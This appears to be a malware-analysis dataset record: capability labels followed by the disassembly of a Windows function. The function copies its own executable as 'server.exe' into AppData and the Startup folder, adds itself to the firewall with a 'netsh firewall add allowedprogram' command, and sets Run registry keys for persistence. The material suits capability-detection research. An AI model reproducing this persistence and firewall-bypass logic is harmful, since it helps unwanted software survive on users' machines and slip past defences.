Function at 0x140001200
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140001257
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
jmp 0x14000125e
lea rcx, str.mutex_create_error__n
mov qword [rsp + 0x700], rbx
call fcn.1400010d0
mov eax, dword [0x14001f0b0]
lea rcx, [rbp + 0x3d0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x50], eax
xor edx, edx
movzx eax, word [0x14001f0b4]
mov r8d, 0x208
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x54], ax
call fcn.140002710
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x208
call fcn.140002710
xor edx, edx
lea rcx, [rbp + 0x1c0]
mov r8d, 0x208
call fcn.140002710
mov r8d, 0x104
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001378
mov r9d, 1
lea rdx, [rbp + 0x3d0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x3d0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.140001010
test ebx, ebx
je 0x140001378
lea rax, [rsp + 0x40]
mov edx, 0xc8
lea r9, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x50]
call fcn.140001070
lea rax, [rbp + 0x1c0]
lea r8, [rbp - 0x50]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001364
add rax, 2
test ecx, ecx
jne 0x140001350
test edx, edx
jne 0x140001529
lea rcx, str.same_path__Go_ahead__n
call fcn.1400010d0
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x208
call fcn.140002710
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000145e
xor edx, edx
lea rcx, [rbp + 0x1c0]
mov r8d, 0x208
call fcn.140002710
mov edx, 0x5c
lea rcx, [rbp - 0x50]
call fcn.1400023c8
lea rcx, [rax + 2]
test rax, rax
jne 0x1400013d2
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x1c0]
sub rdx, rcx
nop dword [rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400013e0
lea rdx, [rbp + 0x1c0]
lea rcx, str.szFileName___s_n
call fcn.140001010
xor edx, edx
lea rcx, [rbp + 0x3d0]
mov r8d, 0x208
call fcn.140002710
lea rax, [rbp + 0x1c0]
mov edx, 0xc8
lea r9, [rbp - 0x50]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x3d0]
call fcn.140001070
lea rdx, [rbp + 0x3d0]
lea rcx, str.cmdline___s_n
call fcn.140001010
lea rcx, [rbp + 0x3d0]
call fcn.140001130
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x50]
movaps xmm1, xmmword [0x14001f020]
xor edx, edx
movzx eax, word [0x14001f050]
mov r8d, 0x208
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x14001f030]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x14001f040]
movaps xmmword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
mov qword [rsp + 0x710], rdi
mov word [rbp - 0x60], ax
call fcn.140002710
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400016a8
lea rax, [rsp + 0x30]
mov qword [rsp + 0x708], rsi
mov r9d, 0x20006
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edi, edi
mov rbx, 0xffffffffffffffff
test eax, eax
je 0x140001557
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140001010
mov esi, edi
jmp 0x1400015d2
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001378
lea rcx, [rbp - 0x50]
call fcn.140001130
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x50]
mov rax, rbx
nop
cmp word [rcx + rax*2 + 2], di
lea rax, [rax + 1]
jne 0x140001560
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x1400015c7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140001010
mov esi, edi
jmp 0x1400015d2
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 1
lea rax, [rsp + 0x38]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000161b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140001010
jmp 0x140001690
lea rax, [rbp - 0x50]
nop
cmp word [rax + rbx*2 + 2], di
lea rbx, [rbx + 1]
jne 0x140001620
mov rcx, qword [rsp + 0x38]
lea eax, [rbx*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp - 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x140001685
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.140001010
jmp 0x140001690
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 1
test esi, esi
mov rsi, qword [rsp + 0x708]
jne 0x140001788
test edi, edi
jne 0x140001788
mov eax, dword [0x14001f0b0]
lea rcx, [rbp - 0x50]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x50], eax
xor edx, edx
movzx eax, word [0x14001f0b4]
mov r8d, 0x208
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x54], ax
call fcn.140002710
xor edx, edx
lea rcx, [rbp + 0x1c0]
mov r8d, 0x208
call fcn.140002710
xor edx, edx
lea rcx, [rbp + 0x3d0]
mov r8d, 0x208
call fcn.140002710
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001788
mov r9d, 1
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x1c0]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.140001010
test ebx, ebx
je 0x140001788
lea rax, [rsp + 0x40]
mov edx, 0xc8
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x3d0]
call fcn.140001070
xor r8d, r8d
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.all_end__n
call fcn.1400010d0
lea rcx, str.pause
call fcn.140006a38
mov rdi, qword [rsp + 0x710]
xor eax, eax
mov rbx, qword [rsp + 0x700]
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400017e0
add rsp, 0x6f0
pop rbp
ret